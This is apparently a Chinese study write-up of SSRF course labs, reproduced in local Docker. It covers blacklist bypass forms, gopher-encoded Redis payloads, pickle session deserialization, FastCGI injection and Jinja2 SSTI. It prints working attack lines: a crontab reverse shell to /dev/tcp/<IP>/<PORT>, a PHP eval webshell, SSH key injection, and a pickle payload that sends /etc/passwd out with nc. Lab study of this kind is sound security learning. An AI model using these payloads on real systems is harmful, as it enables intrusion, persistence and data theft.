之前的基础系列里只把 SSRF 当”探内网端口”的工具用过。这次课程连着两讲把它讲穿了:SSRF 真正的价值是借外网可达的服务器,把请求发进内网,并且按任意协议说话。配合课程发了两个靶场(web-ssrfme 和 Web-Hacking-Lab),本文所有复现都在本地 Docker 完成。
0x01 靶场与入口
两个靶场入口都是一个”在线 fetch”页面,区别在过滤:
// web-ssrfme:有黑名单
if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url, $match))
die('No, No, No!');
curl($url);
// Web-Hacking-Lab:POST url,无任何过滤,回显 curl 结果
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
0x02 黑名单绕过速查
针对 127.0.0.1 / localhost 这类关键词,可替换的等价形式:
http://0.0.0.0/ http://127.1/
http://0x7f000001/ http://2130706433/ (十六进制/十进制整数)
http://[::1]/ http://0177.0.0.1/ (IPv6/八进制)
http://a:80@127.0.0.1/ (URL 解析差异)
302 跳转:外网短链/自建跳板 → Location: http://127.0.0.1:6379
DNS Rebind:TTL=0 的 A 记录在两次解析间切换 IP
file://、dict:// 被禁不代表没路——gopher:// 往往才是漏网之鱼,而它恰是最强的一个:能以任意协议、携带任意字节流发 TCP 请求,是下面所有利用的载体。
0x03 gopher 打 Redis:先看协议再看 payload
Redis 客户端和服务端之间是 RESP 文本协议,所以可以用 NC 式的裸命令通信。gopher 的语法是 gopher://host:port/_<URL编码后的TCP数据流>,下划线后的内容会被原样发出去。
手写 payload 的核心只有一个函数——把一行命令转成 RESP 格式:
def generate_resp(command):
command = command.split(" ")
res = "*{}\n".format(len(command)) # 参数个数
for cmd in command:
res += "${}\n".format(len(cmd)) # 每段长度
res += "{}\n".format(cmd)
return res
拼好若干条命令后统一 urllib.quote 编码塞进 gopher URL,注意换行必须替换成 \r\n(Redis 协议要求 CRLF)。
三板斧
课程脚本 payload_redis.py 给了三条路,前提都是 Redis 未授权或拿到弱口令:
① crontab 反弹 shell(写 /var/spool/cron/root,CentOS 路径;Ubuntu 是 /var/spool/cron/crontabs/root):
flushall
set 1 "\n\n*/1 * * * * /bin/bash -c 'sh -i >& /dev/tcp/<IP>/<PORT> 0>&1'\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save
② SSH 公钥写入(config set dir /root/.ssh/ + config set dbfilename authorized_keys),公钥前后记得带换行保证独立成行。
③ 写 WebShell(知道 Web 根目录时):
config set dir /var/www/html/
config set dbfilename shell.php
set 1 "<?php @eval($_POST['x']);?>"
save
通用四步:flushall → set → config set dir/dbfilename → save。变的只是写什么文件、写到哪。
数据外带视角:CRLF 进 Redis
Web-Hacking-Lab 里的进阶靶(pickle-redis)入口是一个 Flask 的 fetch 接口,用 Python httplib 发请求——httplib 对 path 不做 CRLF 过滤,于是可以:
POST / → url=http://127.0.0.1:6379/
GET /%0d%0aflushall%0d%0aset%20x%20... HTTP/1.1
path 里的 %0d%0a 解码成 CRLF,Redis 把后续每行当独立命令执行。不需要 gopher,HTTP 通道里也能说 RESP。
0x04 进阶链:SSRF + Redis Session 反序列化 RCE
这是整个靶场最漂亮的一条链,把”Redis 当 Session 存储”变成了武器:
漏洞前提:Flask 应用用自定义 RedisSessionInterface,且 serializer = pickle——session 存取走 pickle.loads()。
class RedisSessionInterface(SessionInterface):
serializer = pickle
prefix = 'session:'
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
val = self.redis.get(self.prefix + sid) # 从 Redis 取
if val is not None:
data = self.serializer.loads(base64.b64decode(val)) # ← 反序列化点
...
def save_session(self, ...):
val = base64.b64encode(self.serializer.dumps(dict(session)))
self.redis.setex(self.prefix + session.sid, ...) # ← 写入点
攻击闭环(四步):
- 构造 pickle 恶意对象并 base64(
__reduce__返回(os.system, ("cmd",))); - 通过 SSRF/CRLF 往 Redis 写一个 key:
SET session:<恶意sid> <base64 payload>; - 把自己 Cookie 的 session id 改成
<恶意sid>; - 带着新 Cookie 访问站点 →
open_session从 Redis 读到恶意 key →pickle.loads→ RCE。
本质上这是把之前 PHP 反序列化笔记里的”不可信数据进入 unserialize”换了个传输层:漏洞判据不看协议,看”谁的数据被反序列化了”。
配套的脚本最后一步:
class PickleExploit(object):
def __reduce__(self):
return (os.system, ('cat /etc/passwd | nc <IP> <PORT>',))
pickle.dumps(PickleExploit()) # base64 后写进 Redis 的 session: key
0x05 SSRF 直打内网 FastCGI
反复验证下来的架构认知:Nginx 只是”内容分发者”,它收到 PHP 请求后会封装成 FastCGI 数据包转发给 PHP-FPM(如 127.0.0.1:9000)。这个端口本来只对内网暴露,但如果外网 Web 存在 SSRF,就能借它直接对 9000 端口说 FastCGI 协议。
FastCGI 利用面在于协议报文里有一个 PHP_VALUE/PHP_ADMIN_VALUE 参数可以注入环境配置——把 allow_url_include 打开、auto_prepend_file=php://input,等效于任意文件包含,直接 RCE。gopherus 一类工具能自动生成这段报文:
gopher://127.0.0.1:9000/_<FastCGI 报文,含 PHP_VALUE: allow_url_include=1...>
这和 SSRF 打 Redis 是同一个心智模型:内网服务信任了”来自本机的请求”,而 SSRF 伪造了这个信任源。
0x06 Python SSRF 场景的连带伤害:Jinja2 SSTI
课程把 Python 场景串成一条线:Flask 的 fetch 接口如果还把用户输入拼进 render_template_string,SSRF 之外又多一个 SSTI 面:
{{ ''.__class__.__mro__[1].__subclasses__() }} # 枚举基类找 os._wrap_close
{{ c.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("id").read()') }}
排查 Python 应用时,SSRF 和 SSTI 往往在同一批参数里,值得一起测。
0x07 复现环境清单
# web-ssrfme:Apache+PHP(黑名单 SSRF 入口)+ Redis 3.2.11(未授权)
services:
web: { image: web, ports: ["8091:80"] }
redis: { image: redis }
Web-Hacking-Lab 的 compose 起两个容器:centos(Redis 未授权 + cron 可写的完整靶机,privileged)和 pickle-redis(Flask + Redis session,3333 端口)。复现顺序建议:黑名单绕过 → gopher 三板斧 → pickle session 链 → FastCGI。
参考
- Redis RESP 协议与
CONFIG SET dir/dbfilename利用是社区经典手法,payload 生成可参考 gopherus / 课程脚本 - 相关旧文:命令执行与代码执行、PHP 反序列化深入